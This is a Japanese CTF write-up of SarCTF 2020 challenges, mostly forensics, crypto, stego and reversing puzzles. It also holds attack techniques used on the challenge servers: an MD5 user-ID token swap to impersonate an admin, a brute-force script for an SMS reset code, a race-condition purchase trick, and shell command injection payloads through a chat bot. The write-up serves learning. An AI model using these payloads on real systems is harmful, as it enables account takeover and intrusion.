2 月 15 日から 2 月 17 日にかけて開催された SarCTF by Saratov State University に、チーム zer0pts として参加しました。最終的にチームで 19246 点を獲得し、順位は 1 点以上得点した 418 チーム中 17 位でした。うち、私は 19 問を解いて 18300 点を入れました。
以下、私が解いた問題の write-up です。
Here comes an interesting fact. 221B Baker Street didn’t exist. During the time when the detective was being written, Baker Street was not long and house numbers did not go above 85. The house numbers were written on the front doors of the houses. Although contemporary Museum of Sherlock Holmes has an adresse « 221B Baker Street » it is actually located between house numbers 237 and 241. In reality it’s 239. But let’s go back to the point of the competition. We wrote a messenger for you, because we want you to be comfortable talking. Account for you: test:test
(URL)
与えられた URL にアクセスすると Admin1
Admin2
test
の 3 名だけが書かれているユーザのリストと、ログインフォームが表示されました。とりあえず test
/ test
でログインができました。
どうやってログイン状態を維持しているのか気になって Cookie を見てみましたが、何も保存されていません。これは怪しい。DevTools で色々見ていると、Local Storage に access_key
というキーで eccbc87e4b5ce2fe28308fd9f2a7baf3
という値が保存されていました。これは 3
の MD5 ハッシュです。ユーザ ID でしょうか。
c4ca4238a0b923820dcc509a6f75849b
(1
の MD5 ハッシュ) に書き換えると Admin1
になることができました。Admin2
との会話を確認するとフラグが得られました。
FLAG{iD00r_with_insecure_token}
I’m not an expert, but it seems to me that something needs to be hacked here
http://(省略)/admin
Hint 1: just one million possible combinations..
Hint 2: I think the code is somewhere between 260000 and 280000
Door paradox の続きのようです。/admin
にアクセスすると、パスワードの入力フォームと Forgot your password?
という恐らくパスワードのリセットができるリンクが表示されました。Forgot your password?
を押すとどうなるかソースコードを確認します。
︙
function action(action) {
︙
case 'adminRestore':
req = api('admin.restore', undefined, true);
if (req.status === 'success') {
while (req.response.need_sms === true) {
code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
if (code === null || code === undefined || code === '') {
location.reload();
} else {
req = api('admin.restore', {
'hash': req.response.new_hash,
'sms_code': code
}, true);
}
}
if (req.response.message) alert(req.response.message);
}
break;
case 'adminAuth':
req = api('admin.logIn', {"password": $("#password").val()}, true);
if (req.status === 'success') {
eval(req.response.code);
}
break;
}
}
6 ケタの secret code
を入力し、これが合っていれば何か alert
が出るようです。ヒントによれば secret code
は 260000
から 280000
の間ということなので総当たりしてみましょう。
import json
import requests
URL = 'http://(省略)/api/admin.restore'
resp = json.loads(requests.post(URL, data={'hash': '', 'sms_code': ''}).text)
hash = resp['response']['new_hash']
for code in range(260000, 280000):
if code % 1000 == 0:
print('[+] debug:', hash, code)
resp = json.loads(requests.post(URL, data={'hash': hash, 'sms_code': str(code)}).text)
if not resp['response']['need_sms']:
print(resp)
hash = resp['response']['new_hash']
$ python3 solve.py
︙
{'status': 'success', 'response': {'need_sms': False, 'message': 'FLAG{bruTe_with_hash_f0rce}'}}
Traceback (most recent call last):
File "solve.py", line 15, in <module>
hash = resp['response']['new_hash']
KeyError: 'new_hash'
フラグが得られました。
FLAG{bruTe_with_hash_f0rce}
While chasing a serial killer Sherlock Holmes stopped a wrong person. Now, thanks to my « bot », you can buy a car for Sherlock, so he doesn’t have to run chasing taxis anymore.
https://vk.com/club187880935
VK の bot をハックすればよいようです。DM で /commands
を送ってみると、以下のようなメッセージが返ってきました。
/commands - all commmands
/stat - your statistic
/buy <id product> - buy any product
/sell - sell one any product
/product <id number 1-4> - list of offered goods
/stat
で所持金が 100
であることがわかります。/product
で 100
で買える商品が 3 つと 101
で買えるフラグが存在していることがわかります。これはレースコンディションでしょう。
/buy 1
でまず 100
の商品をひとつ買い、/sell
を何個か同時に実行すると、所持金を 200
に増やすことができました。これでフラグが購入できました。
FLAG{RaCe_CtF_C0NdItI0n}
It’s a well-known fact that Sherlock was on something to have these kinds of superpowers. However, it’s only partly true because he messed up somewhere.
https://vk.com/club188138010
また VK の bot をハックすればよいようです。DM で /commands
を送ってみると、以下のようなメッセージが返ってきました。
/commands - all commands
/id <vk.com/screen_name> - get the digital id from screen name (request(only screen_name): /id vk.com/durov )
/time - time now
/ping - ping hosts (executable command: ping 127.0.0.1). The command accepts your values, but temporarily does not work.
OS コマンドを実行していそうな雰囲気があります。私が問題を確認した時点で、yoshiking さんによって /ping|ls
を送信するとエラーが発生し、どうやら OS コマンドインジェクションができそうだとわかっていました。
/ping; ls -la; echo
を送ってみると以下のようなメッセージが返ってきました。
total 80
drwxrwxr-x 7 amrtin11 registered_users 4096 Feb 16 15:26 .
drwxr-xr-x 1 0 0 4096 Feb 15 06:15 ..
-rw-rw-r— 1 amrtin11 registered_users 1024 Feb 15 19:02 .3.swp
-rwxr-xr-x 1 amrtin11 registered_users 559 Feb 15 06:11 .bashrc
drwxrwxr-x 3 amrtin11 registered_users 4096 Feb 15 07:09 .cache
-rw-rw-r— 1 amrtin11 registered_users 1024 Feb 15 19:02 .flag.jpg.swp
drwxrwxr-x 7 amrtin11 registered_users 4096 Feb 15 17:20 .git
-rwxr-xr-x 1 amrtin11 registered_users 266 Feb 15 06:11 .gitconfig
drwxrwxr-x 4 amrtin11 registered_users 4096 Feb 15 07:11 .local
drwxrwxr-x 2 amrtin11 registered_users 4096 Feb 15 19:02 .nano
-rw-r--r— 1 amrtin11 registered_users 79 Feb 15 06:11 .profile
-rwxr-xr-x 1 amrtin11 registered_users 77 Feb 15 06:11 .pythonstartup.py
-rwxr-xr-x 1 amrtin11 registered_users 4693 Feb 15 06:11 .vimrc
drwxrwxr-x 2 amrtin11 registered_users 4096 Feb 15 06:15 .virtualenvs
-rwxr-xr-x 1 amrtin11 registered_users 69 Feb 16 10:49 README.html
-rwxr-xr-x 1 amrtin11 registered_users 232 Feb 16 13:33 README.txt
-rw-rw-r— 1 amrtin11 registered_users 1132 Feb 15 06:14 flag.jpg
-rw-rw-r— 1 amrtin11 registered_users 2581 Feb 16 15:26 rce in bot.py
-rw-rw-r— 1 amrtin11 registered_users 14 Feb 16 15:22 test.py
-c 3
flag.jpg
というそれっぽいファイルがあります。/ping; hexdump flag.jpg; echo
して返ってきたものをデコードするとフラグが得られました。
FLAG{c0mmand_injecti0n_in_b0t}
Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?
添付ファイル: some.file
some.file
がどのようなファイルか file
で確認しましょう。
$ file some.file
some.file: Microsoft Word 2007+
docx ファイルのようです。unzip
で展開し、word/media
を見ると image2.jpg
という画像にフラグが書かれていました。
FLAG{prominentplace}
Recently, John’s keys began to be pressed by themselves when he runs his blog. You need to figure out what’s the matter.
添付ファイル: usb_here.pcapng
USB HID のパケットが記録された pcapng ファイルが与えられました。どうせキーボード入力でしょう。
tshark -r usb_here.pcapng -T fields -e usb.capdata > cap.txt
で Leftover Capture Data
の部分だけを抽出し、HackTM CTF Quals 2020 の Strange PCAP で書いたスクリプトを流用してデコードします。
$ python3 decode.py
Sherlock, John, and Henry then visit the hollow in the hope of finding the hound. On the way, John notices what seems to be FLAG{like_a_b100dh0und} E
フラグが得られました。
FLAG{like_a_b100dh0und}
Worth digging into these tricks.
添付ファイル: flag.txt
与えられたファイルがどのようなものか file
で確認しましょう。
$ file flag.txt
flag.txt: POSIX tar archive (GNU)
テキストファイルじゃないじゃないですか。これを展開すると flag.txt
というファイル名の ZIP ファイルが、さらにそれを展開すると flag.txt
というファイル名の bzip2 ファイルが…という感じで入れ子になっているようです。自動化しましょう。
import bz2
import gzip
import tarfile
import zipfile
import os
while True:
os.replace('flag.txt', 'tmp.bin')
with open('tmp.bin', 'rb') as f:
s = f.read()
if s[:2] == b'PK':
with zipfile.ZipFile('tmp.bin', 'r') as zip:
for name in zip.namelist():
if 'flag.txt' in name:
zip.extract(name)
elif s[:2] == b'\x1f\x8b':
with gzip.open('tmp.bin', 'rb') as gz:
with open('flag.txt', 'wb') as f:
f.write(gz.read())
elif s[:2] == b'BZ':
with bz2.open('tmp.bin', 'r') as bz:
with open('flag.txt', 'wb') as f:
f.write(bz.read())
else:
with tarfile.open('tmp.bin', 'r') as tar:
for tarinfo in tar:
if 'flag.txt' in tarinfo.name:
tar.extract(tarinfo)
実行すると tmp.bin
のサイズがどんどん小さくなっていく様子が見られて楽しいです。最終的にフラグが書かれたファイルが出てきました。
FLAG{matri0sha256}
Sherlock found a huge pile of evidence, but it was difficult for him to analyze them. Help him.
添付ファイル: RWtm7A5f
与えられたファイルがどのようなものか file
で確認しましょう。
$ file RWtm7A5f
RWtm7A5f: Zip archive data, at least v2.0 to extract
ZIP ファイルのようですが、展開しようとするとパスワードが要求されました。zip2john
してから John the Ripper に投げると RWtm7A5f
がパスワードであることがわかりました。ファイル名がパスワードのようです。これを展開するとまた同じようなファイルが出てきました。自動化してしまいましょう。
import zipfile
fn = 'RWtm7A5f'
while True:
print(fn)
with zipfile.ZipFile(fn, 'r') as zip:
next_fn = zip.namelist()[0]
zip.extract(next_fn, pwd=fn.encode())
fn = next_fn
$ python3 extract.py
RWtm7A5f
Lz68qMZU
iWSgMaVS
︙
RDkJMKDa
85iVroNS
kSPrXQjZ
flag
Traceback (most recent call last):
︙
zipfile.BadZipFile: File is not a zip file
ZIP ファイルではない flag
というファイルが出てきました。file
でどのようなファイルか確認しましょう。
$ file flag
flag: XZ compressed data
これを展開すると flag~
というファイルが出てきました。file
でどのようなファイルか確認しましょう。
$ file "flag~"
flag~: POSIX tar archive
これを展開すると flags
というディレクトリの下に 1
から 255
まで 255 個のディレクトリが展開されました。ほとんどのディレクトリは空のようですが、いくつかのディレクトリには 1
のようなファイル名の空ファイルが入っています。空ファイルが入っているディレクトリを確認しましょう。
$ ls */*
101/9 102/11 103/8 110/16 112/18 117/12 120/13 122/6 123/5 125/21 49/19 49/20 51/10 52/14 52/7 53/17 78/3 83/1 84/4 89/2 95/15
1
が入っているディレクトリの名前は 83
、2
が入っているディレクトリの名前は 89
、3
が入っているディレクトリの名前は 78
、4
が入っているディレクトリの名前は 84
です。これらのディレクトリ名を ASCII の文字コードとみると SYNT
になり、これを ROT13 にかけると FLAG
になります。この作業を自動化するスクリプトを書きましょう。
import glob
files = glob.glob('flags/*/*')
files.sort(key=lambda x: int(x.split('\\')[-1]))
print(''.join(chr(int(file.split('\\')[1])) for file in files))
$ python3 solve.py
SYNT{z4ge3fux4_n5p11}
ROT13 にかけるとフラグが得られました。
FLAG{m4tr3shk4_a5c11}
And now it’s time to show the skills of a real detective!
https://clck.ru/MCop6
与えられた URL にアクセスすると、Google Form で作られたロンドンについてのクイズが表示されました。真面目に答えなくても、Google Form ならソースコードを見れば答えがわかってしまいます。
︙
<script type="text/javascript" nonce="thoX8yfeyj/pNLYmP785MA">var FB_PUBLIC_LOAD_DATA_ = [null,["Let's see how well you know London.",[[673760842,"What is the name of the store?",null,0,[[255559616,null,0,null,[[4,300,["(tesco|Testo)"]
,"1 - FLAG{08"]
]
]
]
,null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]
]
]
]
,[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"]
,"2 - c49c3d9a"]
]
]
]
,null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]
]
]
]
,[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"]
,"3 - e8898343"]
]
]
]
,null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]
]
]
]
,[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"]
,"4 - 7729747b"]
]
]
]
,null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]
]
]
]
,[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"]
,"5 - cf1be8}"]
]
]
]
,null,null,null,null,[["174eoWKRoyVKEN21KJigFwwry_DncqoZfVECN_p6i85oWRw",null,[740,376,0]
]
]
]
]
,null,null,null,[0,0]
,null,null,"Task",48,[null,null,null,null,0]
,null,null,null,null,[2]
]
,"/forms","Новая форма",null,null,null,"",null,0,0,"","",0,"e/1FAIpQLSdpESvbfK_dafCvhkTjcLK1KBMwklUgYcy-J0mu3g_jjgisRw",0,"[]",0]
;</script>
︙
FLAG{08c49c3d9ae88983437729747bcf1be8}
Sherlock doesn’t like going to parties. But this time an invitation came to him, which he could not refuse.
添付ファイル: task_3e55f673c10d.pdf
与えられた PDF ファイルを開くと、踊る人形の暗号で 20 x 28 文字書かれていました。いちいち手作業で復号していては面倒です。スクリプトで復号しましょう。
まず pdf-parser --object 1125 task_3e55f673c10d.pdf > obj-1125.txt
で /Im0 1141 0 R
のように文字を配置している命令列だけを取り出します。続いて、これをデコードするスクリプトを書きます。
def partition(a, n):
return [a[i:i+n] for i in range(0, len(a), n)]
with open('obj-1125.txt', 'r') as f:
lines = f.read().splitlines()
lines.sort(key=lambda x: int(x.split(' ')[-4][3:]))
encrypted = [line.split(' ')[-3] for line in lines]
table = {
'1141': 'I',
'1143': 't',
'1179': 'w',
'1159': 'a',
'1177': 's',
'1151': 'i',
'1165': 'n',
'1145': 'd',
'1163': 'e',
'1153': 'l',
'1175': 'k',
'1155': 'o',
'1169': 'm',
'1147': 'h',
'1167': 'u',
'1149': 'r',
'1157': 'f',
'1171': 'y',
'1189': 'b',
'1161': 'v',
'1187': 'p',
'1181': 'c',
'1173': 'H',
'1183': 'A',
'1185': 'g',
'1191': 'j',
'1193': 'L',
'1195': 'S',
'1197': 'q'
}
print('\n'.join(''.join(table.get(c, c) for c in row) for row in partition(encrypted, 20)))
$ python3 decode.py
Itwasindeedlikeoldti
meswhenatthathourIfo
undmyselfseatedbesid
ehiminahansommyrevol
verinmypocketandthet
hrillofadventureinmy
heartHolmeswascoldan
dsternandsilentAsthe
gleamofthestreetlamp
sflasheduponhisauste
refeaturesIsawthathi
sbrowsweredrawndowni
nthoughtandhisthinli
pscompressedIknewnot
whatwildbeastwewerea
bouttohuntdowninthed
arkjungleofcriminalL
ondonbutIwaswellassu
redfromthebearingoft
hismasterhuntsmanfla
gdiscoinSaratovthatt
headventurewasamostg
raveonewhilethesardo
nicsmilewhichoccasio
nallybrokethroughhis
asceticgloombodedlit
tlegoodfortheobjecto
fourquest
原文と比較すると flagdiscoinSaratov
が挿入されていることがわかります。
FLAG{disco_in_Saratov}
Hint: What do you know about weak keys of the DES algorithm?
添付ファイル: task_end.enc
問題名の weak keys of the DES algorithm
でググると弱鍵 - Wikipedia が出てきます。これに載っている鍵で CyberChef を使って ECB モードの DES で task_end.enc
を復号していくと、FFFFFFFFFFFFFFFF
のときに以下のようなバイナリが出てきました。
0000000: acb1 8dbf 4162 3e2e 3c34 5f42 6e6f 6104 ....Ab>.<4_Bnoa.
0000010: 5f2e 6f79 9384 534b 3727 2814 7468 383f _.oy..SK7'(.th8?
0000020: 5f69 6f6e 6166 5f45 6e6b 6c66 5369 725e _ionaf_EnklfSir^
0000030: 4173 7468 7572 5f43 90b5 612d 5f46 6e78 Asthur_C..a-_Fnx
0000040: 6e64 526b 705d 4370 766a 7771 5a40 6c6d ndRkp]CpvjwqZ@lm
0000050: 626d 5940 6b7a 6962 556e 7558 4775 7360 bmY@kzibUnuXGus`
0000060: 7c79 564b 6764 6969 584e 6273 666e 5f65 |yVKgdiiXNbsfn_e
0000070: 7e53 467b 7a67 787e 5148 6362 6d91 8444 ~SF{zgx~QHcbm..D
0000080: 2c78 6e67 516a 715c 4771 776e 797a 584b ,xngQjq\GqwnyzXK
0000090: 6362 6d62 5348 6375 6069 5f65 7e53 4d7e cbmbSHcu`i_e~SM~
︙
先頭 4 バイトが 0x80 以上で、続く 4 バイトが 0x80 未満であることから JPEG ファイルと ASCII 文字列を XOR したものであると推測できます。試しに JPEG のマジックナンバーと先頭 8 バイトを XOR すると Sir_Arth
が出てきました。コナン・ドイルでしょうか。よく見ると 44 バイト目から Sir^Asthur…
というそれっぽい文字列が見えています。Sir_Arthur_Conan_Doyle
なら 22 文字なので 44 バイト目からそれっぽい文字列が出現するのもうなずけます。これと先程のバイナリを XOR するとフラグが書かれた JPEG ファイルが出てきました。
FLAG{I_L0V3_x0000000000000r_4LL}
Sherlock always wanted to be a little taller.
添付ファイル: flag_there.jpg
flag_there.jpg
はただのベネディクト・カンバーバッチの写真…かと思いきや、下の方に謎の余白があります。バイナリエディタで高さを少し増やしてみるとフラグが現れました。
FLAG{G0Od_s3E!}
Just Moriarty? Really?
添付ファイル: m0r1ar7y.png
問題名からして、赤成分に何か仕込んでいるのでしょう。赤の LSB を縦方向に抽出するとフラグが得られました。
FLAG{who_is_moriarty}
After another failure, Moriarty decided to flee the country. Help Sherlock Holmes to catch him.
添付ファイル: airport.rar
airport.rar
を展開すると 35d6d33467aae9a2e3dccb4b6b027878.png
b8a9f715dbb64fd5c56e7783c6820a61.png
f97c5d29941bfb1b2fdab0874906ab82.png
の 3 つの衛星写真と、PASS: IATA
と書かれた fly.jpg
という画像が与えられました。3 つの衛星写真は全て空港の写真で、写っている空港の IATA コードを集めればよいのでしょう。
衛星写真のファイル名から拡張子を除いてググってみると、35d6d33467aae9a2e3dccb4b6b027878
は three
の、b8a9f715dbb64fd5c56e7783c6820a61
は two
の、f97c5d29941bfb1b2fdab0874906ab82
は one
の MD5 ハッシュであることがわかりました。それぞれガトウィック空港、ヒースロー空港、スタンステッド空港の写真なので one
two
three
の順番に IATA コードを並べると STNLHRLGW
になります。
steghide.exe extract -sf fly.jpg -p STNLHRLGW
のように得られたパスワードを使って steghide で fly.jpg
から key.txt
というフラグが書かれたファイルを抽出できました。
FLAG{l375_fly_w17h_bu65}
It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc (省略)
問題サーバに接続してみましょう。
$ nc (省略) | xxd
00000000: 7069 7020 2020 0d70 6970 2020 200d 7069 pip .pip .pi
00000010: 7020 2020 0d70 6970 2020 200d 2020 2020 p .pip .
00000020: 2020 0d70 6970 2020 200d 2020 2020 2020 .pip .
00000030: 0d70 6970 2020 200d 7069 6969 6970 0d70 .pip .piiiip.p
00000040: 6970 2020 200d 2020 2020 2020 0d70 6970 ip . .pip
00000050: 2020 200d 2020 2020 2020 0d20 2020 2020 . .
00000060: 200d 2020 2020 2020 0d70 6970 2020 200d . .pip .
︙
pip
や piiiip
を数秒ごとに切り替えて表示しています。モールス信号でしょう。tee
で出力を保存し、CyberChef で いい感じに .
と -
に置換してデコードすると以下のような文字列が出てきました。
HEREUPONTHELAPELOFMYCOATYOUMAYSEETHERIBBONOFMYDECORATIONBUTTHEMEDALITSELFIKEEPINALEATHERNPOUCHATHOMEFLAGSHERLOCKLIKESYOURMORSE…
これが延々と繰り返されています。FLAGSHERLOCKLIKESYOURMORSE
をそれっぽく整形するとフラグになりました。
FLAG{SHERLOCK_LIKES_YOUR_MORSE}
It’s time to strain your brains.
nc (省略)
問題サーバに接続してみましょう。
$ nc (省略)
===============================================
Telegrams come very quickly
Help Sherlock Holmes decipher all messages
===============================================
Message: ERFUNECRAVAT
Answer: RESHARPENING
Message: PBAIRAGHNY
Answer: CONVENTUAL
Message: CERFFHENTR
Answer:
ROT13 でしょう。手で 100 回ほどデコードをするとフラグが出力されました。
︙
Message: NPEVQVQNR
Answer: ACRIDIDAE
Message: HAYBIVATARFF
Answer: UNLOVINGNESS
FLAG{Y0U_V3RY_F45T3R_CRYPT0GR4PH}
Message: ABARZORYYVFURQ
Answer:
FLAG{Y0U_V3RY_F45T3R_CRYPT0GR4PH}
100% of brain CPU
nc (省略)
問題サーバに接続してみましょう。
$ nc (省略)
===============================================
Let's see how quickly you can solve these examples
===============================================
[>] 216 XOR 130
[>] Result: 90
[>] 113 OR 57
[>] Result:
今度はビット演算です。面倒なので自動化しましょう。
import re
from pwn import *
s = remote('(省略)', 33003)
s.recvline()
s.recvline()
s.recvline()
for _ in range(100):
t = s.recvline()
print(t)
a, op, b = re.findall(r'(\d+) (.+) (\d+)', t)[0]
a, b = int(a), int(b)
if op == 'AND':
res = a & b
elif op == 'OR':
res = a | b
elif op == 'XOR':
res = a ^ b
s.recvuntil('[>] Result: ')
s.sendline(str(res))
s.interactive()
実行するとフラグが得られました。
FLAG{0HH_Y0UR3_4_V3RY_5M3RT_M4TH3M4T1C}
Do you think Sherlock can beat a computer in math?
nc (省略)
問題サーバに接続してみましょう。
$ nc (省略)
======================================================================================================
Hey, hello! Just send me an answer to 9 simple examples, so I can check if my machine knows math well.
======================================================================================================
[>] 0 + 1
[>] Result: 1
[>] 1 + 3
[>] Result: 4
[>] 2 + 5
[>] Result: 7
[>] 3 + 7
[>] Result: 10
[>] 4 + 9
[>] Result: 13
[>] 5 + 11
[>] Result: 16
[>] 6 + 13
[>] Result: 19
[>] 7 + 15
[>] Result: 22
[>] 8 + 17
[>] Result: 25
[>] 0.1 + 0.2
[>] Result: 0.3
You made a mistake somewhere! Bay, bay!
普通の計算問題に見えますが、そのまま答えてもどこかが間違っていると言われてしまいました。最後の 0.1 + 0.2
について、浮動小数点方式ではこの結果を正確に表現できないことを考慮して 0.30000000000000004
と答えてみましょう。
$ nc (省略)
︙
[>] 0.1 + 0.2
[>] Result: 0.30000000000000004
FLAG{MaGiC_0f_NuMbErS}
フラグが得られました。
FLAG{MaGiC_0f_NuMbErS}
While the children were playing toys, Sherlock was solving crosswords in large volumes.
添付ファイル: crossw0rd
与えられたファイルがどのようなものか file
に投げて確認しましょう。
$ file crossw0rd
crossw0rd: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2e45dc319e3736db1643abb283b0ed9a18681261, not stripped
x86-64 の ELF のようです。Ghidra でデコンパイルしてみましょう。
undefined8 main(void)
{
check();
return 0;
}
void check(void)
{
char cVar1;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts(
"Welcome. You\'re in function check. Please Enter a password to continue. 1 attemptremaining:"
);
scanf("%s",local_28);
cVar1 = e(local_28);
if (cVar1 == 0) {
puts("Wrong password! Your attempt is over.");
}
else {
puts("You cracked the system!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
文字列を入力したあと e
に投げて、この返り値が 0 でなければ OK なようです。e
を見てみましょう。
ulong e(char *param_1)
{
byte bVar1;
char cVar2;
if ((((param_1[7] == '5') && (param_1[0x11] == 'g')) && (param_1[2] == 'A')) &&
(cVar2 = b(param_1), cVar2 != 0)) {
bVar1 = 1;
}
else {
bVar1 = 0;
}
return (ulong)bVar1;
}
3 文字分チェックしてからさらに b
を呼んでいます。呼ばれている関数を追っていきましょう。
ulong b(char *param_1)
{
byte bVar1;
char cVar2;
if ((((param_1[0xf] == 'i') && (param_1[9] == 'r')) && (param_1[1] == 'L')) &&
(cVar2 = d(param_1), cVar2 != 0)) {
bVar1 = 1;
}
else {
bVar1 = 0;
}
return (ulong)bVar1;
}
ulong d(char *param_1)
{
byte bVar1;
char cVar2;
if ((((param_1[10] == '3') && (param_1[0x12] == '}')) && (param_1[6] == 'a')) &&
(cVar2 = f(param_1), cVar2 != 0)) {
bVar1 = 1;
}
else {
bVar1 = 0;
}
return (ulong)bVar1;
}
ulong f(char *param_1)
{
byte bVar1;
char cVar2;
if ((((*param_1 == 'F') && (param_1[0xe] == '5')) && (param_1[0x10] == 'n')) &&
(cVar2 = c(param_1), cVar2 != 0)) {
bVar1 = 1;
}
else {
bVar1 = 0;
}
return (ulong)bVar1;
}
ulong c(char *param_1)
{
byte bVar1;
char cVar2;
if ((((param_1[3] == 'G') && (param_1[0xb] == 'v')) && (param_1[5] == '3')) &&
(cVar2 = a(param_1), cVar2 != 0)) {
bVar1 = 1;
}
else {
bVar1 = 0;
}
return (ulong)bVar1;
}
undefined8 a(char *param_1)
{
undefined8 uVar1;
if ((((param_1[4] == '{') && (param_1[0xc] == '3')) && (param_1[8] == 'y')) &&
(param_1[0xd] == 'r')) {
uVar1 = 1;
}
else {
uVar1 = 0;
}
return uVar1;
}
これらの条件を満たす文字列がフラグでした。
FLAG{3a5yr3v3r5ing}